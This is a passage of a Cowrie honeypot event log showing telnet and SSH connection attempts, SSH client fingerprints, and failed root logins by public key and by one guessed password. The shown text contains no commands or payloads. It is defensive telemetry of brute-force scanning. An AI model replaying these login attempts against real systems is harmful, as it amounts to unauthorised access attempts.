{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57522,"dst_ip":"10.17.0.5","dst_port":23,"session":"f331da48d7c7","protocol":"telnet","message":"New connection: 192.119.13.58:57522 (10.17.0.5:23) [session: f331da48d7c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:00.541361Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60332,"dst_ip":"10.17.0.5","dst_port":23,"session":"95a5ffe0ddfd","protocol":"telnet","message":"New connection: 192.119.13.58:60332 (10.17.0.5:23) [session: 95a5ffe0ddfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:01.211090Z"}
{"eventid":"cowrie.session.closed","duration":40.2769877910614,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:02.245148Z","src_ip":"192.119.13.58","session":"42a907b6f089","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.17918157577515,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:04.209273Z","src_ip":"192.119.13.58","session":"366bcb2e5530","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53086,"dst_ip":"10.17.0.5","dst_port":23,"session":"93d2e3e8cc4d","protocol":"telnet","message":"New connection: 192.119.13.58:53086 (10.17.0.5:23) [session: 93d2e3e8cc4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:06.325761Z"}
{"eventid":"cowrie.session.closed","duration":0.008529186248779297,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:06.334110Z","src_ip":"192.119.13.58","session":"93d2e3e8cc4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.223.69.87","src_port":54804,"dst_ip":"10.17.0.5","dst_port":22,"session":"87f46d98053e","protocol":"ssh","message":"New connection: 91.223.69.87:54804 (10.17.0.5:22) [session: 87f46d98053e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:06.383308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:06.388441Z","src_ip":"91.223.69.87","session":"87f46d98053e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:06.512337Z","src_ip":"91.223.69.87","session":"87f46d98053e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.55038118362427,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:06.547945Z","src_ip":"192.119.13.58","session":"ac4ce097ec3b","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cc:f5:5e:3b:d4:1b:a9:b8:5c:d9:28:ee:ea:20:8b:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6ujpwoj5UdnS5BSZQrV7zesXP4LzYP53NI9X1NG7s3H2hlEvY35lzaLKCTJA+vLsPWRiGzPD/M/Upmc1KErghvUHUZjMWMtWQ9DFiQc8a7yFeN9M0tYp6K8ysA8AkGUqBaj8fihoBKL/uPRKLcB/cNaIqGH8/lQECINi9KLTZjeOAa54BqvbPEgZdkRzpVw5cxzjQ4hn0JFU9Lpfv+Xe9JkW4oPu4MIFHx0p7JAqVQwhqPmBsYbwIE/2bGSIfYEFatzxz1uDNLXHND98cBHh24QCpqpF5h56Y99NNCukfkE7CgXbjPcLKoHv0dvjJ49AUlkW68epSO2LJn1+hJ47V","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cc:f5:5e:3b:d4:1b:a9:b8:5c:d9:28:ee:ea:20:8b:9e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:07.110144Z","src_ip":"91.223.69.87","session":"87f46d98053e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cc:f5:5e:3b:d4:1b:a9:b8:5c:d9:28:ee:ea:20:8b:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6ujpwoj5UdnS5BSZQrV7zesXP4LzYP53NI9X1NG7s3H2hlEvY35lzaLKCTJA+vLsPWRiGzPD/M/Upmc1KErghvUHUZjMWMtWQ9DFiQc8a7yFeN9M0tYp6K8ysA8AkGUqBaj8fihoBKL/uPRKLcB/cNaIqGH8/lQECINi9KLTZjeOAa54BqvbPEgZdkRzpVw5cxzjQ4hn0JFU9Lpfv+Xe9JkW4oPu4MIFHx0p7JAqVQwhqPmBsYbwIE/2bGSIfYEFatzxz1uDNLXHND98cBHh24QCpqpF5h56Y99NNCukfkE7CgXbjPcLKoHv0dvjJ49AUlkW68epSO2LJn1+hJ47V","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:07.114252Z","src_ip":"91.223.69.87","session":"87f46d98053e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f1:67:aa:d1:bd:9f:03:6e:ee:f7:55:95:21:45:6f:9e","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG7w9TwDcYIgtUH6V+wnfvz2xK+ZAnW6HxOW3TcfqxWe","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint f1:67:aa:d1:bd:9f:03:6e:ee:f7:55:95:21:45:6f:9e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:07.242859Z","src_ip":"91.223.69.87","session":"87f46d98053e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f1:67:aa:d1:bd:9f:03:6e:ee:f7:55:95:21:45:6f:9e","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG7w9TwDcYIgtUH6V+wnfvz2xK+ZAnW6HxOW3TcfqxWe","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:07.247977Z","src_ip":"91.223.69.87","session":"87f46d98053e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"25:f6:5a:ec:5d:5f:1f:e1:3c:cd:94:e1:b4:52:7d:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuSoFL+DFx5XasEeALH+8jTa8YZ6fnE5uW0dyFoMwtQsRHlSXESEcAn536wCZsJWJBYTz/H5Mz8rAwZYPu1OU3JcH7VjBjf1umTK6XdrIjG/N9stLaAXnfC47jXYVtLhEIaE7vnpE+WRint68OhILbvtU78l7FZXUmUm/nrtv2+HOic6G6YYSG7nMm+5MAQtxFXhUGOjInwq7w1sZSJppa3Kw8H0IyajBDE1Xp2KvYm4BBryrCIts/N+pXuKSAODxdIPFeyVGsl9uP0IqMACbsEqGvS/i4GDwbt3WoGk/eonmoYXRwWA6ClFpN55fGk2xNtv1qE9bzOMJOJ+XyCfE7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 25:f6:5a:ec:5d:5f:1f:e1:3c:cd:94:e1:b4:52:7d:9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:07.377348Z","src_ip":"91.223.69.87","session":"87f46d98053e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"25:f6:5a:ec:5d:5f:1f:e1:3c:cd:94:e1:b4:52:7d:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuSoFL+DFx5XasEeALH+8jTa8YZ6fnE5uW0dyFoMwtQsRHlSXESEcAn536wCZsJWJBYTz/H5Mz8rAwZYPu1OU3JcH7VjBjf1umTK6XdrIjG/N9stLaAXnfC47jXYVtLhEIaE7vnpE+WRint68OhILbvtU78l7FZXUmUm/nrtv2+HOic6G6YYSG7nMm+5MAQtxFXhUGOjInwq7w1sZSJppa3Kw8H0IyajBDE1Xp2KvYm4BBryrCIts/N+pXuKSAODxdIPFeyVGsl9uP0IqMACbsEqGvS/i4GDwbt3WoGk/eonmoYXRwWA6ClFpN55fGk2xNtv1qE9bzOMJOJ+XyCfE7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:07.381763Z","src_ip":"91.223.69.87","session":"87f46d98053e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"88:84:59:54:e9:84:65:e9:27:99:ae:d2:19:1e:00:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3k/dPK7kpvqFFkHsrUS7KlCQDUHCPXsBwjvAGbx6ScULMPuHoa/VR119QZkS3NO7pkOCww+lIMrC4EC9XG9OFALYTXJxq0Z4ZL9B1a1MdOsZBqzwBqs9ViBDMgssICLyf636ViZ555GFpkeJnx//12CymL/8pUhq9micQUCVThpX31snIa5zVx48LG1hvVwZOv6GkXEJwMBcGRDhfivqpBjsw/FDcuLO1Mw1dokVVwB6TGx1N4iXjiSv5ZL9fHL/8zDF9c0gf5sRSG3+Or/937nt1yCkPO2WR0hzufYqMsbvAEBnCkHuHY8H7bJa26SsbFTqjs89bFd/g7mvuZ5xP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 88:84:59:54:e9:84:65:e9:27:99:ae:d2:19:1e:00:c5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:07.506355Z","src_ip":"91.223.69.87","session":"87f46d98053e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"88:84:59:54:e9:84:65:e9:27:99:ae:d2:19:1e:00:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3k/dPK7kpvqFFkHsrUS7KlCQDUHCPXsBwjvAGbx6ScULMPuHoa/VR119QZkS3NO7pkOCww+lIMrC4EC9XG9OFALYTXJxq0Z4ZL9B1a1MdOsZBqzwBqs9ViBDMgssICLyf636ViZ555GFpkeJnx//12CymL/8pUhq9micQUCVThpX31snIa5zVx48LG1hvVwZOv6GkXEJwMBcGRDhfivqpBjsw/FDcuLO1Mw1dokVVwB6TGx1N4iXjiSv5ZL9fHL/8zDF9c0gf5sRSG3+Or/937nt1yCkPO2WR0hzufYqMsbvAEBnCkHuHY8H7bJa26SsbFTqjs89bFd/g7mvuZ5xP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:07.512066Z","src_ip":"91.223.69.87","session":"87f46d98053e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":59698,"dst_ip":"159.203.135.109","dst_port":22,"session":"5281626ee73b","protocol":"ssh","message":"New connection: 103.75.183.219:59698 (159.203.135.109:22) [session: 5281626ee73b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:07.524566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:07.533750Z","src_ip":"103.75.183.219","session":"5281626ee73b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"99:d3:55:53:f0:53:6d:d9:2c:f1:0c:da:c0:73:22:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCasC9Uc2j40gOIwitO5Nro7eCOq3NqNwGcbB+A2DbSGQtjO2KdtySeSHKeINoFyxZmq2TBGXTGQvrAPxWVEVL+E6lsBKcbzu+vZOMhEf6trFSY3+8fhMM32FwReKf8pzS6eB/uIvPFc2H9zZSQr36DPkOjMguc1+Y0kz1xlyAxOLUsqo0Nve/dPYaGgA8BH2Um+1cjZ6kNUixMcRQV4NEmswpt540GezfCSM5w2fEKJ2w1QMKmi7BxxJ/PWjuq92r0Dfx/XydUn2Dn4NkUw+psfpA2U3qDvzuQcuLJvMTfFOc/Cwpq8OYDyI1V3QAh3q+3kXvnLwGHZMbRkeqXNhbt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 99:d3:55:53:f0:53:6d:d9:2c:f1:0c:da:c0:73:22:1f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:07.638116Z","src_ip":"91.223.69.87","session":"87f46d98053e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"99:d3:55:53:f0:53:6d:d9:2c:f1:0c:da:c0:73:22:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCasC9Uc2j40gOIwitO5Nro7eCOq3NqNwGcbB+A2DbSGQtjO2KdtySeSHKeINoFyxZmq2TBGXTGQvrAPxWVEVL+E6lsBKcbzu+vZOMhEf6trFSY3+8fhMM32FwReKf8pzS6eB/uIvPFc2H9zZSQr36DPkOjMguc1+Y0kz1xlyAxOLUsqo0Nve/dPYaGgA8BH2Um+1cjZ6kNUixMcRQV4NEmswpt540GezfCSM5w2fEKJ2w1QMKmi7BxxJ/PWjuq92r0Dfx/XydUn2Dn4NkUw+psfpA2U3qDvzuQcuLJvMTfFOc/Cwpq8OYDyI1V3QAh3q+3kXvnLwGHZMbRkeqXNhbt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:07.643029Z","src_ip":"91.223.69.87","session":"87f46d98053e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:07.776469Z","src_ip":"91.223.69.87","session":"87f46d98053e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:07.791870Z","src_ip":"103.75.183.219","session":"5281626ee73b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"silver","message":"login attempt [root/silver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:08.532051Z","src_ip":"103.75.183.219","session":"5281626ee73b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:09.777111Z","src_ip":"103.75.183.219","session":"5281626ee73b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.276124000549316,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:12.483138Z","src_ip":"192.119.13.58","session":"3639080769c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.38710880279541,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:14.337695Z","src_ip":"192.119.13.58","session":"43cf48dc1b4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.56024718284607,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:14.655947Z","src_ip":"192.119.13.58","session":"31d9f67492e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59074,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb29f9f3e346","protocol":"telnet","message":"New connection: 192.119.13.58:59074 (10.17.0.5:23) [session: eb29f9f3e346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:14.872734Z"}
{"eventid":"cowrie.session.closed","duration":40.7127890586853,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:16.644597Z","src_ip":"192.119.13.58","session":"f6382c5cc54c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48414,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b9f0b74be52","protocol":"telnet","message":"New connection: 192.119.13.58:48414 (10.17.0.5:23) [session: 5b9f0b74be52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:19.138864Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49000,"dst_ip":"10.17.0.5","dst_port":23,"session":"c36eb988d779","protocol":"telnet","message":"New connection: 192.119.13.58:49000 (10.17.0.5:23) [session: c36eb988d779]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:19.299169Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49018,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bb04e234802","protocol":"telnet","message":"New connection: 192.119.13.58:49018 (10.17.0.5:23) [session: 4bb04e234802]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:19.304724Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36932,"dst_ip":"10.17.0.5","dst_port":23,"session":"1aea0073240d","protocol":"telnet","message":"New connection: 192.119.13.58:36932 (10.17.0.5:23) [session: 1aea0073240d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:23.216254Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38728,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c42cedc25d1","protocol":"telnet","message":"New connection: 192.119.13.58:38728 (10.17.0.5:23) [session: 3c42cedc25d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:23.648652Z"}
{"eventid":"cowrie.session.closed","duration":0.005055665969848633,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:23.653587Z","src_ip":"192.119.13.58","session":"3c42cedc25d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.71527361869812,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:24.533710Z","src_ip":"192.119.13.58","session":"722e72696e05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42302,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ba25d1242ee","protocol":"telnet","message":"New connection: 192.119.13.58:42302 (10.17.0.5:23) [session: 7ba25d1242ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:24.542572Z"}
{"eventid":"cowrie.session.closed","duration":38.45194149017334,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:24.743179Z","src_ip":"192.119.13.58","session":"ad9ca6276b17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52120,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ac5a340613b","protocol":"telnet","message":"New connection: 192.119.13.58:52120 (10.17.0.5:23) [session: 6ac5a340613b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:26.994326Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59252,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fbed6281eb5","protocol":"telnet","message":"New connection: 192.119.13.58:59252 (10.17.0.5:23) [session: 1fbed6281eb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:28.896128Z"}
{"eventid":"cowrie.session.closed","duration":0.005234479904174805,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:28.901242Z","src_ip":"192.119.13.58","session":"1fbed6281eb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39138,"dst_ip":"10.17.0.5","dst_port":23,"session":"41953a032501","protocol":"telnet","message":"New connection: 192.119.13.58:39138 (10.17.0.5:23) [session: 41953a032501]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:30.772905Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57908,"dst_ip":"10.17.0.5","dst_port":23,"session":"122f09859146","protocol":"telnet","message":"New connection: 192.119.13.58:57908 (10.17.0.5:23) [session: 122f09859146]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:35.625561Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.51.73.24","src_port":59536,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec06634045f9","protocol":"ssh","message":"New connection: 122.51.73.24:59536 (10.17.0.5:22) [session: ec06634045f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:36.487616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:14:36.493598Z","src_ip":"122.51.73.24","session":"ec06634045f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sh